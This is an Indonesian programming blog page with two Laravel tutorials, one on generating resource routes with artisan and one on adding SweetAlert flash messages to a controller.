BACA JUGA >>  Cara Setting NAT, DHCP dan SNMP pada Router




#PantangPulangSebelumReply

Membuat Route Secara Otomatis di Laravel 5.2

Membuat Route Secara Otomatis di Laravel 5.2


Pada postingan kali ini saya akan membahas tentang bagaimana cara membuat route secara otomatis di laravel 5.2. Baik, sebelum kita akan membuat route secara otomatis di laravel, kita harus mengerti terlebih dahulu apa itu route, apa fungsinya dan bagaimana cara kerjanya. Setelah itu baru lah kita akan membuat route secara otomatis pada laravelnya.
Apa itu route pada laravel ?

Route pada laravel merupakan alamat yang akan diakses pada URL browser sehingga kita dapat mengakses web yang kita tuju. Route ini dapat dikatakan sebagai acuan kita dalam menuju suatu alamat pada web. Misalkan route kita adalah /admin/index, artinya kita akan menampilkan view pada route tersbut sehingga kita bisa melihat isinya.
Misalkan pada route.php di laravel terdapat sebuah route seperti berikut:

Route:get('/admin/index','AdminController@index');

Artinya ketika kita ingin menjalankan function index pada controller yang namanya AdminController, kita harus menuliskan pada URL kita seperti ini http://localhost:8000/admin/index. Setelah itu baru lah kita akan melihat function index yang ada pada controller kita.

Intinya, ketika kita ingin mengakses sebuah alamat kita harus memasukkan URL route nya sehingga dia dapat diakses dengan benar.

Pada dasarnya banyak sekali method yang ada pada route ini, sehingga kita dapat mengetahui fungsi masing- masing dari setiap method. Adapun macam-macam route yang biasanya atau umum digunakan sebagai berikut 

Route::get($url, $callback);
Route::post($url, $callback);
Route::put($url, $callback);
Route::patch($url, $callback);
Route::delete($url, $callback);
Route::option($url, $callback);


Nah, dari method diatas memilik kegunaan nya masing-masing, sehingga untuk penggunannya juga harus diperhatikan.

Lalu bagaimana dengan membuat route secara otomatis di laravel?

Perlu kita ketahui untuk kegunaan membuat route secara otomatis di laravel, adalah membuat route itu sendiri menjadi lebih rapi dari yang sebelumnya dan juga pada controller nya akan langsung dibuat functionnya secara otomatis. Bagaimana membuat route secara otomatis ?
Langkah yang pertama dilakukan adalah ketikkan perintah php artisan make:controller namacontrollernya --resource. Perintah diatas akan membuat route secara otomatis pada route.php sehingga akan tampil pada route nya seperti ini.


Users adalah URLnya
Untuk lebih detail routenya, bisa kita lihat dengan mengetikkan perintah pada CMD yaitu php artisan route:list. Kita dapat melihat route list yang sudah kita buat maupun route list yang kita buat secara otomatis. Lihat hasilnya akan menjadi seperti ini.


Route akan terbuat secara otomatis, dan function sudah disediakan pada controller nya. Itulah tadi cara bagaimana membuat route secara otomatis di laravel 5.2. Sangat mudah dan simple penggunannya. Setelah itu kita bisa lebih mengedit ataupun mengubah function pada controller secara manual apa yang mau kita sajikan dan melakukan CRUD nya.


#SyntaxError

Monday, November 5, 2018

Cara Membuat Flash Message dengan Sweet Alert di Laravel

Cara Membuat Flash Message dengan Sweet Alert di Laravel



Pada postingan kali ini saya akan membagikan sesuatu yang elegan dan keren yaitu sebuah flash message. Seperti namanya, flash message artinya pesan cepat atau pesan kilat yang akan disampaikan kepada user mengenai sesuatu. Bisa kita katakan sebagai feedback balasan untuk user karena telah melakukan sesuatu. Pada gambar diatas merupakan contoh flash message dimana ketika kita telah berhasil menambahkan data baru pada database.

Setelah sekian lama saya mencoba dan terus mencoba flash message ini akhir nya berhasil juga. Ada perasaan senang yang tak terlukiskan sehingga saya menuangkan nya disini dalam bentuk tulisan sekaligu untuk dokumentasi saya sendiri. Apabila lupa akan bisa lihat kembali pada blog yang saya tulis ini.

Okee.. pada kasus ini saya menggunakan flash message dengan sweet alert di laravel. Terbilang gampang-gampang susah. Dikatakan gampang ketika kita sudah tau, sulit ketika kita kita mengalami error sampai beberapa hari. Namun, ternyata membuat nya cukup sederhana dan simple sekali.

Hal yang pertama kali yang harus kita lakukan adalah menmbahkan "uxweb/sweet-alert": "~1.4" pada file composer.json.


Selanjutnya adalah lakukan perintah composer update pada CMD. Tunggu proses nya hingga selesai.

Setelah itu, tambahkan pada config/app.php, pada bagian providers UxWeb\SweetAlert\SweetAlertServiceProvider::class,  

Tambahkan juga pada aliases,  'Alert' => UxWeb\SweetAlert\SweetAlert::class,

Setelah itu pada bagian layout, kita akan menambahkan file .css dan .js dari sweet-alert. Kunjungi web resmi cdnjs dan cari sweet-alert atau bisa langsung kunjungi DISINI. Dowload file .min.js dan .min.css atau bisa langsung kaitkan pada link tersebut.


Letakkan link .min.css pada tag sebelum </head> dan .min.js pada bagian sebelum tag </body>.  

Jangan lupa untuk menambahkan view dari sweet-alertnya pada bagian bawah script .min.js barusan, dengan perintah @include('sweet::alert'). Dalam kasus ini saya meletakkan langsung pada layout jadi tidak di file view nya karena view akan banyak, sedangkan view pasti memiliki layout.


Selanjutnya, kita akan bergerak menuju tak terbatas dan melampaui nya ke controller. Pada controller kita akan deklarasikan class yang sudah kita pasang tadi dengan perintah use Alert; sehingga kita bisa menggunakan fungsi dari alert pada class. 

Setelah itu, kita akan tambahkan fungsi alert pada bagian function save. Kita akan memanggil flash messange nya sebelum di redirect sehingga dia akan muncul. Seperti gambar dibawah ini.


Silahkan lakukan tambah data, dan jika berhasil maka akan terlihat muncul flash message yang telah dibuat tadi.

Itulah tadi cara membuat flash message dengan sweet-alert di laravel, untuk libraries seewt alertnya bisa dilihat pada situs  Packalyst. Disana terdapat kumpula package khusus LARAVEL.

#SyntaxError